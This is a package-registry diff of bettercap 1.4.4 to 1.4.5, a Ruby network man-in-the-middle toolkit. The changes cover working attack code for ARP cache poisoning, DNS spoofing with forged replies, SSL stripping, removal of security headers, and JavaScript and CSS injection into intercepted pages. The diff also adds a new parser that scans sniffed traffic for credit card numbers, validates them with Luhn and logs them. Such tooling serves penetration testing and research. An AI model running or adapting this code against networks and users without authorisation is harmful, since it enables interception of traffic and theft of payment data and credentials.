bettercap 1.4.4 → 1.4.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/bettercap/context.rb +2 -37
- data/lib/bettercap/discovery/thread.rb +2 -2
- data/lib/bettercap/network/packet_queue.rb +1 -1
- data/lib/bettercap/network/servers/dnsd.rb +30 -45
- data/lib/bettercap/network/target.rb +7 -7
- data/lib/bettercap/options.rb +2 -2
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +3 -4
- data/lib/bettercap/proxy/ssl/server.rb +1 -1
- data/lib/bettercap/proxy/sslstrip/strip.rb +2 -2
- data/lib/bettercap/proxy/stream_logger.rb +3 -2
- data/lib/bettercap/proxy/streamer.rb +37 -6
- data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
- data/lib/bettercap/spoofers/arp.rb +9 -7
- data/lib/bettercap/update_checker.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 36c1b50612037538a301084dd6780fbbe25ce5c8
|
4
|
+
data.tar.gz: 24c4fea056b5f2c2a8be6520ddb1f81895d7630a
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 1d0d3cf857d16c39ec4da7bb37a00892397050b5f2ff4f37227c7a9ba2af0f40f07cf0869064fe90a609bcd838bee85d3df1d5805f43223b8a853d5158dc17f6
|
7
|
+
data.tar.gz: 930097cd8f7103cefaa4f5e79feedbe0adbab02cccd7c4705d7c5d72a1b3146ae3e6f91be1a13e246ae258516b57117da5c05cf867d07a20279e236948a88c2b
|
data/lib/bettercap/context.rb
CHANGED
@@ -35,9 +35,6 @@ class Context
|
|
35
35
|
attr_accessor :httpd
|
36
36
|
# Instance of BetterCap::Network::Servers::DNSD class.
|
37
37
|
attr_accessor :dnsd
|
38
|
-
# Instance of Proxy::SSL::Authority class used
|
39
|
-
# for the HTTPS transparent proxy.
|
40
|
-
attr_accessor :authority
|
41
38
|
# Set to true if the program is running, to false if a shutdown was
|
42
39
|
# scheduled by the user which pressed CTRL+C
|
43
40
|
attr_accessor :running
|
@@ -71,11 +68,9 @@ class Context
|
|
71
68
|
@gateway = nil
|
72
69
|
@gateway_mac_resolved = false
|
73
70
|
@targets = []
|
74
|
-
@proxy_processor = nil
|
75
71
|
@spoofer = nil
|
76
72
|
@httpd = nil
|
77
73
|
@dnsd = nil
|
78
|
-
@authority = nil
|
79
74
|
@proxies = []
|
80
75
|
@redirections = []
|
81
76
|
@discovery = Discovery::Thread.new self
|
@@ -213,47 +208,17 @@ class Context
|
|
213
208
|
def create_proxies!
|
214
209
|
if @options.has_proxy_module?
|
215
210
|
Proxy::Module.register_modules
|
216
|
-
|
217
211
|
raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
|
218
212
|
end
|
219
213
|
|
220
|
-
@proxy_processor = Proc.new do |request,response|
|
221
|
-
if Proxy::Module.modules.empty?
|
222
|
-
Logger.debug 'WARNING: No proxy module loaded, skipping request.'
|
223
|
-
else
|
224
|
-
# loop each loaded module and execute if enabled
|
225
|
-
Proxy::Module.modules.each do |mod|
|
226
|
-
if mod.enabled?
|
227
|
-
# we need to save the original response in case something
|
228
|
-
# in the module will go wrong
|
229
|
-
original = response
|
230
|
-
|
231
|
-
begin
|
232
|
-
if response.nil?
|
233
|
-
mod.on_pre_request request
|
234
|
-
else
|
235
|
-
mod.on_request request, response
|
236
|
-
end
|
237
|
-
rescue Exception => e
|
238
|
-
Logger.warn "Error with proxy module: #{e.message}"
|
239
|
-
Logger.exception e
|
240
|
-
|
241
|
-
response = original
|
242
|
-
end
|
243
|
-
end
|
244
|
-
end
|
245
|
-
end
|
246
|
-
end
|
247
|
-
|
248
214
|
# create HTTP proxy
|
249
215
|
if @options.proxy
|
250
|
-
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false
|
216
|
+
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false )
|
251
217
|
end
|
252
218
|
|
253
219
|
# create HTTPS proxy
|
254
220
|
if @options.proxy_https
|
255
|
-
@
|
256
|
-
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
|
221
|
+
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true )
|
257
222
|
end
|
258
223
|
|
259
224
|
@proxies.each do |proxy|
|
@@ -71,13 +71,13 @@ class Thread
|
|
71
71
|
if diff[:new].empty?
|
72
72
|
snew = ""
|
73
73
|
else
|
74
|
-
snew = "Acquired #{diff[:new].size} new target#{
|
74
|
+
snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}"
|
75
75
|
end
|
76
76
|
|
77
77
|
if diff[:lost].empty?
|
78
78
|
slost = ""
|
79
79
|
else
|
80
|
-
slost = "#{
|
80
|
+
slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}"
|
81
81
|
end
|
82
82
|
|
83
83
|
Logger.info "#{snew}#{slost} :"
|
@@ -30,7 +30,7 @@ class DnsWrapper < RubyDNS::RuleBasedServer
|
|
30
30
|
# Instantiate a server with a block.
|
31
31
|
def initialize(options = {}, &block)
|
32
32
|
super(options,&block)
|
33
|
-
@rules
|
33
|
+
@rules = []
|
34
34
|
@@instance = self
|
35
35
|
end
|
36
36
|
# Give a name and a record type, try to match a rule and use it for processing the given arguments.
|
@@ -48,31 +48,18 @@ class DNSD
|
|
48
48
|
def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
|
49
49
|
@port = port
|
50
50
|
@address = address
|
51
|
+
@hosts = hosts_filename
|
51
52
|
@server = nil
|
52
|
-
@rules = []
|
53
|
-
@thread = nil
|
54
53
|
@ifaces = [
|
55
54
|
[:udp, address, port],
|
56
55
|
[:tcp, address, port]
|
57
56
|
]
|
58
|
-
|
59
|
-
unless hosts_filename.nil?
|
60
|
-
DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
|
61
|
-
block = Proc.new do |transaction|
|
62
|
-
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
63
|
-
transaction.respond!(addr)
|
64
|
-
end
|
65
|
-
|
66
|
-
@rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
|
67
|
-
end
|
68
|
-
|
69
|
-
Logger.warn "Empty hosts file for DNS server." if @rules.empty?
|
70
|
-
end
|
71
57
|
end
|
72
58
|
|
73
59
|
# Add a rule to the DNS resolver at runtime.
|
74
|
-
def add_rule( exp, addr )
|
60
|
+
def add_rule!( exp, addr )
|
75
61
|
Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
|
62
|
+
|
76
63
|
block = Proc.new do |transaction|
|
77
64
|
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
78
65
|
transaction.respond!(addr)
|
@@ -83,37 +70,35 @@ class DNSD
|
|
83
70
|
|
84
71
|
# Start the server.
|
85
72
|
def start
|
86
|
-
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port}
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
:server_class => DnsWrapper,
|
93
|
-
:rules => @rules
|
94
|
-
}
|
95
|
-
|
96
|
-
RubyDNS::run_server( options ) do
|
97
|
-
# Suppress RubyDNS logging.
|
98
|
-
@logger.level = ::Logger::ERROR
|
99
|
-
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
100
|
-
|
101
|
-
# Default DNS handler
|
102
|
-
otherwise do |transaction|
|
103
|
-
Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
|
104
|
-
transaction.passthrough!(@upstream)
|
105
|
-
end
|
106
|
-
end
|
73
|
+
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..."
|
74
|
+
|
75
|
+
options = {
|
76
|
+
:listen => @ifaces,
|
77
|
+
:asynchronous => true,
|
78
|
+
:server_class => DnsWrapper
|
107
79
|
}
|
80
|
+
|
81
|
+
RubyDNS::run_server( options ) do
|
82
|
+
# Suppress RubyDNS logging.
|
83
|
+
@logger.level = ::Logger::ERROR
|
84
|
+
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
85
|
+
|
86
|
+
# Default DNS handler
|
87
|
+
otherwise do |transaction|
|
88
|
+
Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
|
89
|
+
transaction.passthrough!(@upstream)
|
90
|
+
end
|
91
|
+
end
|
92
|
+
|
93
|
+
unless @hosts.nil?
|
94
|
+
DNSD.parse_hosts( @hosts ).each do |exp,addr|
|
95
|
+
add_rule!( exp, addr )
|
96
|
+
end
|
97
|
+
end
|
108
98
|
end
|
109
99
|
|
110
100
|
# Stop the server.
|
111
|
-
def stop
|
112
|
-
Logger.info "Stopping DNS server ..."
|
113
|
-
begin
|
114
|
-
@thread.kill
|
115
|
-
rescue; end
|
116
|
-
end
|
101
|
+
def stop; end
|
117
102
|
|
118
103
|
# Parse hosts from +filename+, example host file:
|
119
104
|
#
|
@@ -142,7 +127,7 @@ class DNSD
|
|
142
127
|
unless Network::Validator.is_ip?(address)
|
143
128
|
|
144
129
|
begin
|
145
|
-
hosts[
|
130
|
+
hosts[ expression ] = address
|
146
131
|
rescue RegexpError
|
147
132
|
raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'."
|
148
133
|
end
|
@@ -76,13 +76,13 @@ class Target
|
|
76
76
|
|
77
77
|
# Return a verbose string representation of this object.
|
78
78
|
def to_s(padding=true)
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
79
|
+
address = @ip.nil?? '???' : @ip
|
80
|
+
fmt = padding ? '%-15s : %-17s' : '%s : %s'
|
81
|
+
vendor = @vendor.nil?? " ( ??? )" : " ( #{@vendor} )"
|
82
|
+
|
83
|
+
s = sprintf( fmt, address, @mac )
|
84
84
|
s += " / #{@hostname}" unless @hostname.nil?
|
85
|
-
s +=
|
85
|
+
s += vendor
|
86
86
|
s
|
87
87
|
end
|
88
88
|
|
@@ -111,7 +111,7 @@ class Target
|
|
111
111
|
end
|
112
112
|
|
113
113
|
def self.normalized_mac(v)
|
114
|
-
v.split(':').map { |e|
|
114
|
+
v.split(':').map { |e| e.size == 2 ? e.upcase : "0#{e.upcase}" }.join(':')
|
115
115
|
end
|
116
116
|
|
117
117
|
private
|
data/lib/bettercap/options.rb
CHANGED
@@ -452,9 +452,9 @@ class Options
|
|
452
452
|
def parse_custom_proxy!(value, https=false)
|
453
453
|
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
|
454
454
|
if https
|
455
|
-
@custom_proxy = value
|
456
|
-
else
|
457
455
|
@custom_https_proxy = value
|
456
|
+
else
|
457
|
+
@custom_proxy = value
|
458
458
|
end
|
459
459
|
end
|
460
460
|
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -15,10 +15,9 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# Transparent proxy class.
|
17
17
|
class Proxy
|
18
|
-
# Initialize the transparent proxy, making it listen on +address+:+port
|
19
|
-
# use the specified +processor+ routine for each request.
|
18
|
+
# Initialize the transparent proxy, making it listen on +address+:+port+.
|
20
19
|
# If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one.
|
21
|
-
def initialize( address, port, is_https
|
20
|
+
def initialize( address, port, is_https )
|
22
21
|
@socket = nil
|
23
22
|
@address = address
|
24
23
|
@port = port
|
@@ -30,7 +29,7 @@ class Proxy
|
|
30
29
|
@main_thread = nil
|
31
30
|
@running = false
|
32
31
|
@local_ips = []
|
33
|
-
@streamer = Streamer.new(
|
32
|
+
@streamer = Streamer.new( need_sslstrip? )
|
34
33
|
|
35
34
|
begin
|
36
35
|
@local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
|
@@ -26,7 +26,7 @@ class Server
|
|
26
26
|
|
27
27
|
# Create an instance from the TCPSocket +socket+.
|
28
28
|
def initialize( socket )
|
29
|
-
@authority = Context.get.
|
29
|
+
@authority = Authority.new( Context.get.options.proxy_pem_file )
|
30
30
|
@context = OpenSSL::SSL::SSLContext.new
|
31
31
|
@context.cert = @authority.certificate
|
32
32
|
@context.key = @authority.key
|
@@ -293,7 +293,7 @@ class Strip
|
|
293
293
|
rescue; end
|
294
294
|
|
295
295
|
unless links.empty?
|
296
|
-
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{
|
296
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
|
297
297
|
|
298
298
|
links.each do |l|
|
299
299
|
original, stripped = l
|
@@ -311,7 +311,7 @@ class Strip
|
|
311
311
|
original_address = IPSocket.getaddress( o.original_hostname )
|
312
312
|
@stripped << o
|
313
313
|
# make sure we're able to resolve the stripped domain
|
314
|
-
@resolver.add_rule( stripped_hostname, original_address )
|
314
|
+
@resolver.add_rule!( stripped_hostname, original_address )
|
315
315
|
rescue Exception => e
|
316
316
|
Logger.exception(e)
|
317
317
|
end
|
@@ -144,7 +144,8 @@ class StreamLogger
|
|
144
144
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
145
145
|
# with the +request+ and +response+ most important informations.
|
146
146
|
def self.log_http( request, response )
|
147
|
-
response_s = "
|
147
|
+
response_s = ""
|
148
|
+
response_s += " ( #{response.content_type} )" unless response.content_type.nil?
|
148
149
|
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
149
150
|
code = response.code.to_s[0]
|
150
151
|
|
@@ -154,7 +155,7 @@ class StreamLogger
|
|
154
155
|
response_s += " [#{response.code}]"
|
155
156
|
end
|
156
157
|
|
157
|
-
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}
|
158
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
|
158
159
|
# Log post body if the POST sniffer is enabled.
|
159
160
|
if Context.get.post_sniffer_enabled?
|
160
161
|
self.log_post( request )
|
@@ -15,9 +15,8 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
|
17
17
|
class Streamer
|
18
|
-
# Initialize the class
|
19
|
-
def initialize(
|
20
|
-
@processor = processor
|
18
|
+
# Initialize the class.
|
19
|
+
def initialize( sslstrip )
|
21
20
|
@ctx = Context.get
|
22
21
|
@sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
|
23
22
|
end
|
@@ -55,14 +54,14 @@ class Streamer
|
|
55
54
|
|
56
55
|
if r.nil?
|
57
56
|
# call modules on_pre_request
|
58
|
-
|
57
|
+
process( request )
|
59
58
|
|
60
59
|
self.send( "do_#{request.method}", request, response )
|
61
60
|
else
|
62
61
|
response = r
|
63
62
|
end
|
64
63
|
|
65
|
-
if response.textual?
|
64
|
+
if response.textual? or request.method == 'DELETE'
|
66
65
|
StreamLogger.log_http( request, response )
|
67
66
|
else
|
68
67
|
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
@@ -84,7 +83,7 @@ class Streamer
|
|
84
83
|
strip_security( response )
|
85
84
|
|
86
85
|
# call modules on_request
|
87
|
-
|
86
|
+
process( request, response )
|
88
87
|
|
89
88
|
client.write response.to_s
|
90
89
|
rescue NoMethodError => e
|
@@ -95,6 +94,31 @@ class Streamer
|
|
95
94
|
|
96
95
|
private
|
97
96
|
|
97
|
+
# Run proxy modules.
|
98
|
+
def process( request, response = nil )
|
99
|
+
# loop each loaded module and execute if enabled
|
100
|
+
BetterCap::Proxy::Module.modules.each do |mod|
|
101
|
+
if mod.enabled?
|
102
|
+
# we need to save the original response in case something
|
103
|
+
# in the module will go wrong
|
104
|
+
original = response
|
105
|
+
|
106
|
+
begin
|
107
|
+
if response.nil?
|
108
|
+
mod.on_pre_request request
|
109
|
+
else
|
110
|
+
mod.on_request request, response
|
111
|
+
end
|
112
|
+
rescue Exception => e
|
113
|
+
Logger.warn "Error with proxy module: #{e.message}"
|
114
|
+
Logger.exception e
|
115
|
+
|
116
|
+
response = original
|
117
|
+
end
|
118
|
+
end
|
119
|
+
end
|
120
|
+
end
|
121
|
+
|
98
122
|
# List of security headers to remove/patch from any response.
|
99
123
|
# Thanks to Mazin Ahmed ( @mazen160 )
|
100
124
|
SECURITY_HEADERS = {
|
@@ -163,6 +187,13 @@ class Streamer
|
|
163
187
|
end
|
164
188
|
end
|
165
189
|
|
190
|
+
# Handle a DELETE request, +req+ is the request object and +res+ the response.
|
191
|
+
def do_DELETE(req, res)
|
192
|
+
perform_proxy_request(req, res) do |http, path, header|
|
193
|
+
http.delete(path, header)
|
194
|
+
end
|
195
|
+
end
|
196
|
+
|
166
197
|
# Handle a POST request, +req+ is the request object and +res+ the response.
|
167
198
|
def do_POST(req, res)
|
168
199
|
perform_proxy_request(req, res) do |http, path, header|
|
@@ -0,0 +1,62 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Parsers
|
15
|
+
# CC parser.
|
16
|
+
class CreditCard < Base
|
17
|
+
PARSERS = [
|
18
|
+
# All major cards.
|
19
|
+
/(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
|
20
|
+
# American Express
|
21
|
+
/(3[47][0-9]{13})/m,
|
22
|
+
# Diners Club
|
23
|
+
/(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
|
24
|
+
# Discover
|
25
|
+
/(6011[0-9]{12})/m,
|
26
|
+
# MasterCard
|
27
|
+
/(5[1-5][0-9]{14})/m,
|
28
|
+
# Visa
|
29
|
+
/(4[0-9]{12}(?:[0-9]{3})?)/m
|
30
|
+
].freeze
|
31
|
+
|
32
|
+
def on_packet( pkt )
|
33
|
+
begin
|
34
|
+
payload = pkt.to_s
|
35
|
+
PARSERS.each do |expr|
|
36
|
+
matches = payload.scan( expr )
|
37
|
+
matches.each do |m|
|
38
|
+
StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
|
39
|
+
end
|
40
|
+
break unless matches.empty?
|
41
|
+
end
|
42
|
+
rescue; end
|
43
|
+
end
|
44
|
+
|
45
|
+
# Validate +cc+ with Lughn algorithm.
|
46
|
+
def luhn?(cc)
|
47
|
+
digits = cc.split(//).map(&:to_i)
|
48
|
+
last = digits.pop
|
49
|
+
|
50
|
+
products = digits.reverse.map.with_index do |n,i|
|
51
|
+
i.even? ? n*2 : n*1
|
52
|
+
end.reverse
|
53
|
+
sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
|
54
|
+
checksum = 10 - (sum % 10)
|
55
|
+
checksum == 10 ? 0 : checksum
|
56
|
+
|
57
|
+
( last == checksum )
|
58
|
+
end
|
59
|
+
|
60
|
+
end
|
61
|
+
end
|
62
|
+
end
|
@@ -67,8 +67,6 @@ class Arp < Base
|
|
67
67
|
raise 'ARP spoofer is not running' unless @running
|
68
68
|
|
69
69
|
Logger.debug 'Stopping ARP spoofer ...'
|
70
|
-
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
71
|
-
@ctx.firewall.enable_forwarding( @forwarding )
|
72
70
|
|
73
71
|
@running = false
|
74
72
|
begin
|
@@ -81,11 +79,15 @@ class Arp < Base
|
|
81
79
|
@ctx.targets.each do |target|
|
82
80
|
unless target.ip.nil? or target.mac.nil?
|
83
81
|
5.times do
|
84
|
-
spoof(target)
|
82
|
+
spoof(target, true)
|
85
83
|
sleep 0.3
|
86
84
|
end
|
87
85
|
end
|
88
86
|
end
|
87
|
+
|
88
|
+
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
89
|
+
|
90
|
+
@ctx.firewall.enable_forwarding( @forwarding )
|
89
91
|
end
|
90
92
|
|
91
93
|
private
|
@@ -94,11 +96,11 @@ class Arp < Base
|
|
94
96
|
# restore its ARP cache instead.
|
95
97
|
def spoof( target, restore = false )
|
96
98
|
if restore
|
99
|
+
send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
|
100
|
+
send_spoofed_packet( target.ip, target.mac, @gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.half_duplex
|
101
|
+
else
|
97
102
|
send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
|
98
103
|
send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
|
99
|
-
else
|
100
|
-
send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac )
|
101
|
-
send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
|
102
104
|
end
|
103
105
|
end
|
104
106
|
|
@@ -106,7 +108,7 @@ class Arp < Base
|
|
106
108
|
def arp_spoofer
|
107
109
|
spoof_loop(1) { |target|
|
108
110
|
unless target.ip.nil? or target.mac.nil?
|
109
|
-
spoof(target
|
111
|
+
spoof(target)
|
110
112
|
end
|
111
113
|
}
|
112
114
|
end
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.4.
|
15
|
+
VERSION = '1.4.5'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.4.
|
4
|
+
version: 1.4.5
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-29 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -171,6 +171,7 @@ files:
|
|
171
171
|
- lib/bettercap/shell.rb
|
172
172
|
- lib/bettercap/sniffer/parsers/base.rb
|
173
173
|
- lib/bettercap/sniffer/parsers/cookie.rb
|
174
|
+
- lib/bettercap/sniffer/parsers/creditcard.rb
|
174
175
|
- lib/bettercap/sniffer/parsers/custom.rb
|
175
176
|
- lib/bettercap/sniffer/parsers/dhcp.rb
|
176
177
|
- lib/bettercap/sniffer/parsers/dict.rb
|